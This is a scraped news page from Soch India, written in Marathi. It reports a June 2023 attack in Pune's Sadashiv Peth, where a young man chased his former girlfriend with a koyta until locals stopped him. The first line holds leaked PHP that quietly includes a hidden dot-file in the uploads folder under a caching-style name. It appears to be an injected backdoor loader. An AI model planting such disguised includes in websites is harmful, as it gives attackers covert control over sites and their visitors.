add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); Pune Crime: रिलेशनमध्ये भांडणं, ब्रेकअपनंतरही सनकी तरूणाची एकच मागणी; सदाशिव पेठेतील घटनेचं धक्कादायक सत्य – SOCH INDIA

Forgot Password New Account
Menu

अपराध समाचार
Pune Crime: रिलेशनमध्ये भांडणं, ब्रेकअपनंतरही सनकी तरूणाची एकच मागणी; सदाशिव पेठेतील घटनेचं धक्कादायक सत्य

  • 100 Views
  • June 27, 2023
  • By
  • in अपराध समाचार, देश, समाचार
  • Comments Off on Pune Crime: रिलेशनमध्ये भांडणं, ब्रेकअपनंतरही सनकी तरूणाची एकच मागणी; सदाशिव पेठेतील घटनेचं धक्कादायक सत्य
  • Edit
nobanner

पुण्यात झालेल्या दर्शना पवार हत्याकांडाने नागरिक अद्यापही हैराण आहेत. या घटनेमुळे पालकांमध्ये असलेली भीती अद्याप गेलेली नाही. तोच आज पुण्याच्या सदाशिव पेठेमध्ये एक भयंकर घटना समोर आली आहे. खरंतर, पुणेकरांची सुरुवात आज एका धक्कादायक घटनेने झाली. एकतर्फी प्रेम प्रकरणातून महाविद्यालयीन विद्यार्थिनीवर एका सनकी तरुणाने कोयत्याने वार केले. परिस्थिती एवढी भयानक होती की पुण्यातल्या मध्यवस्तीत सदाशिव पेठे भागात टिळक रोड ते पेरु गेट पोलीस स्टेशनपर्यंत मुलगी आपला जीव वाचवत पळत होती. मात्र काही स्थानिक रहिवासी आणि तीन एमपीएससी करणाऱ्या विद्यार्थ्यांमुळे मुलीचा जीव वाचला. या घटनेने शहरात भीतीच वातावरण निर्माण झाले आहे. मात्र हा प्रकार का घडला? याची सविस्तर माहिती या स्टोरीच्या माध्यमातून आपण पाहणार आहोत.

शंतनू लक्ष्मण जाधव (वय २२ रा. मुळशी डोंगरगाव )असे या वार करणाऱ्या आरोपीच नाव आहे. त्याने आज सकाळी सदाशिव पेठ नारळीकर इन्स्टिट्यूट च्या समोरच्या लेन मध्ये एका २० वर्षीय युवतीवर वार केले. या प्रकरणी पोलिसांनी त्याला ताब्यात घेतलं असून त्याच्यावर गुन्हा दाखल करण्यात आला आहे.

नेमका हा प्रकार का घडला ?
शंतनू आणि २० वर्ष युवती गेले दोन वर्षांपासून प्रेम संबंधात होते. दोघे कोथरूड या ठिकाणी एका महाविद्यालयात शिक्षण घेत होते. मात्र उच्च शिक्षण घेण्यासाठी तरुणीने सदाशिव पेठेतील एका विद्यालयात ऍडमिशन घेतले, आणि मुलगा हा कर्वेरोड येथे शिक्षण घेत होता. मात्र त्यानंतर दोघांमध्ये खटके उडायला लागले, दोघांच्या आपसी मतभेतामुळे दोघांचे प्रेमसंबंध ही तुटले. मात्र त्यानंतर वारंवार फोन करून संबंधित तरुण हा तरुणीला शिवीगाळ करत होता. आजच्या दिवशी आरोपी तरुण हा तिच्या कॉलेजच्या ठिकाणी येऊन थांबला. आणि तिला अडवत, मला तुझ्या सोबत बोलायचं आहे असे म्हणाला. मात्र, या गोष्टीला तरुणीने नकार दिला. त्यावेळी तरुणीने तिच्या मित्राला बोलून घेतलं आणि तेथून निघाले असता आरोपीने त्यांचा पाठलाग करत व जोरजोरात रस्त्यावर शिव्या देत होता.

एका प्रसंगानंतर तरुणीसोबत असलेल्या मित्राने गाडी थांबवत त्याला जाब विचारला. मात्र, त्याच क्षणाचा फायदा घेत आरोपीने बॅगेतून कोयता काढत पहिले त्या मित्रावर वार केले आणि मित्राला तिथून पळून लावलं. त्यानंतर आरोपी हा मुलीच्या कोयता घेऊन मागे लागला. आरोपी भर रस्त्यावर पाठीमागून तिच्यावर वार करण्याचा प्रयत्न करत होता. तरुणी पुढे पळत होती आणि आरोपी हा तिच्या मागे पळत होता. यामध्ये तरुणी ही २ वेळा जमिनीवर कोसळली. त्यावेळेस आरोपीने तिच्या डोक्यावर कोयता उघरला. पण तितक्यात स्थानिकांनी प्रसंग अवधान दाखवत मुलाच्या हातातला कोयता खेचला.

एका तरुणाने आरोपीला मागे ओढले आणि मुलीचा जीव वाचला. मात्र, स्थानिक प्रचंड चिडले होते. त्यांनी आरोपीवर भेटेल त्या वस्तूने त्याला मारायला सुरुवात केली. ज्या तरुणांनी मुलींला वाचवलं होतं. त्यांनीच आरोपीलादेखील त्यांच्यापासून सोडवत पोलीस स्टेशनला नेलं. पोलिसांत गेल्यानंतर आरोपीला ताब्यात घेण्यासाठी पोलीसच त्या ठिकाणी हजर नव्हते. म्हणून पुन्हा जमावाला ताबा ठेवत पोलीस येईपर्यंत आरोपी तरुणाला पोलीस स्टेशनच्या एका खोलीत कोंडून ठेवण्यात आलं. १५ मिनिटानंतर पोलीस त्या ठिकाणी पोहोचले आणि पुढील तपास सुरू केला. अधिक माहितीनुसार, आरोपीवर कलम ३०७ अंतर्गत गुन्हा दाखल करण्यात आला असून पुढील तपास विश्रामबाग पोलीस स्टेशन करत आहे.

503 Service Unavailable

Service Unavailable

The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.

Additionally, a 503 Service Unavailable error was encountered while trying to use an ErrorDocument to handle the request.